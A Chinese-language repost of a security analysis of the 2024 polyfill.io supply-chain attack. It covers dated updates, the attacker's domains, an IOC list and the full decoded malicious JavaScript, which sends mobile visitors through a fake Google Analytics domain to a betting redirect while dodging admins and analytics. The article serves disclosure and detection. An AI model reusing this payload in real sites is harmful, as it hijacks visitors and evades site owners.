Polyfill 供应链攻击波及 10 万多个网站

admin 2024年7月10日13:27:34评论45 views字数 4044阅读13分28秒阅读模式

    Polyfill 通常指的是一种用于在旧版浏览器中实现新功能的技术,通常是通过 JavaScript 实现的。Polyfill 可以填补浏览器对新特性的支持不足,使开发人员能够在各种浏览器中使用最新的 Web 技术。

    Polyfill JS 项目是一个流行的开源项目,旨在为开发人员提供各种 Polyfill 解决方案,以确保他们的网站或应用程序在各种浏览器中具有一致的功能和体验。这些 Polyfill 可以模拟新的 JavaScript API、HTML5 特性、CSS 特性等,以便在不支持这些功能的浏览器中实现相似的效果。

    Polyfill JS 项目通常由开发人员社区共同维护和贡献,旨在帮助开发人员克服跨浏览器兼容性问题。如果您需要在旧版浏览器中使用新功能,可以考虑使用 Polyfill JS 项目中提供的解决方案。

Polyfill 供应链攻击波及 10 万多个网站

628 日更新:我们正在标记更多自2023 年 6 月以来同一行为者用于传播恶意软件的域名

bootcdn.net

bootcss.com

staticfile.net

staticfile.org

unionadjs.com

xhsbpza.com

union.macoms.la

newcrbpc.com

6 月 27 日更新:Cloudflare 已将 cdn.polyfill.io 实时重写为他们自己的版本。不久之后,Namecheap 已完全搁置该域名,暂时消除了风险。但是,我们仍建议您从代码中删除任何 polyfill.io 引用。

6 月 26 日更新:有人对我们的基础设施和 BleepingComputer(第一个报道我们研究的人)发起了类似的 DDoS 攻击。

6 月 25 日更新:Google 已经开始屏蔽使用 polyfill.io 的电子商务网站的 Google Ads。

 是polyfill.js一个流行的开源库,用于支持旧版浏览器。100K + 个网站使用该cdn.polyfill.io域名嵌入了它。著名用户包括 JSTOR、Intuit 和世界经济论坛。然而,今年 2 月,一家中国公司购买了该域名和 Github 帐户。从那时起,该域名被发现通过嵌入的任何网站向移动设备注入恶意软件cdn.polyfill.io。所有投诉都很快从 Github 存储库中删除(存档在此处)。

    polyfill 代码是根据 HTTP 标头动态生成的,因此可能存在多个攻击媒介。Sansec 解码了一个特定的恶意软件(见下文),该恶意软件使用虚假的 Google 分析域 ( ) 将移动用户重定向到体育博彩网站www.googie-anaiytics.com。该代码具有针对逆向工程的特定保护,并且仅在特定时间在特定移动设备上激活。当检测到管理员用户时,它也不会激活。当发现网络分析服务时,它还会延迟执行,大概是为了不出现在统计数据中。

    最初的polyfill 作者建议完全不要使用 Polyfill,因为现代浏览器已经不再需要它了。同时,如果您仍然需要它, Fastly和Cloudflare都提供了值得信赖的替代方案。

    此事件是供应链攻击的典型例子。为了了解用户正在加载的代码,我们推荐我们的(免费)CSP 监控服务Sansec Watch。

eComscan 后端扫描仪也已更新polyfill.io检测。

Polyfill 恶意负载示例

我们添加了一些名称以提高可读性,但这些名称tiaozhuan来自原始恶意软件(中文意思是“跳跃”)。

function isPc() {  try {    var _isWin =        navigator.platform == "Win32" || navigator.platform == "Windows",      _isMac =        navigator.platform == "Mac68K" ||        navigator.platform == "MacPPC" ||        navigator.platform == "Macintosh" ||        navigator.platform == "MacIntel";    if (_isMac || _isWin) {      return true;    } else {      return false;    }  } catch (_0x44e1f6) {    return false;  }}function vfed_update(_0x5ae1f8) {  _0x5ae1f8 !== "" &&    loadJS(      "https://www.googie-anaiytics.com/html/checkcachehw.js",      function () {        if (usercache == true) {          window.location.href = _0x5ae1f8;        }      }    );}function check_tiaozhuan() {  var _isMobile = navigator.userAgent.match(    /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i  );  if (_isMobile) {    var _curHost = window.location.host,      _ref = document.referrer,      _redirectURL = "",      _kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",      _rnd = Math.floor(Math.random() * 100 + 1),      _date = new Date(),      _hours = _date.getHours();    if (      _curHost.indexOf("www.dxtv1.com") !== -1 ||      _curHost.indexOf("www.ys752.com") !== -1    ) {      _redirectURL = "https://kuurza.com/redirect?from=bitget";    } else {      if (_curHost.indexOf("shuanshu.com.com") !== -1) {        _redirectURL = "https://kuurza.com/redirect?from=bitget";      } else {        if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {          _redirectURL = "https://kuurza.com/redirect?from=bitget";        } else {          if (_hours >= 0 && _hours < 2) {            if (_rnd <= 10) {              _redirectURL = _kuurzaBitGet;            }          } else {            if (_hours >= 2 && _hours < 4) {              _rnd <= 15 && (_redirectURL = _kuurzaBitGet);            } else {              if (_hours >= 4 && _hours < 7) {                _rnd <= 20 && (_redirectURL = _kuurzaBitGet);              } else {                _hours >= 7 && _hours < 8                  ? _rnd <= 10 && (_redirectURL = _kuurzaBitGet)                  : _rnd <= 10 && (_redirectURL = _kuurzaBitGet);              }            }          }        }      }    }    _redirectURL != "" &&      !isPc() &&      document.cookie.indexOf("admin_id") == -1 &&      document.cookie.indexOf("adminlevels") == -1 &&      vfed_update(_redirectURL);  }}let _outerPage = document.documentElement.outerHTML,  bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1;let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,  wolafg = _outerPage.indexOf(".51.la") != -1;let mattoo = _outerPage.indexOf(".matomo.org") != -1,  aanaly = _outerPage.indexOf(".google-analytics.com") != -1;let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,  aplausix = _outerPage.indexOf(".plausible.io") != -1,  statcct = _outerPage.indexOf(".statcounter.com") != -1;bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct  ? setTimeout(check_tiaozhuan, 2000)  : check_tiaozhuan();

IOC

https://kuurza.com/redirect?from=bitgethttps://www.googie-anaiytics.com/html/checkcachehw.jshttps://www.googie-anaiytics.com/ga.jshttps://cdn.bootcss.com/highlight.js/9.7.0/highlight.min.jshttps://union.macoms.la/jquery.min-4.0.2.jshttps://newcrbpc.com/redirect?from=bscbcbootcdn.netstaticfile.netstaticfile.orgunionadjs.comxhsbpza.com

原文始发于微信公众号(OSINT研习社):Polyfill 供应链攻击波及 10 万多个网站

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月10日13:27:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Polyfill 供应链攻击波及 10 万多个网站https://cn-sec.com/archives/2937644.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息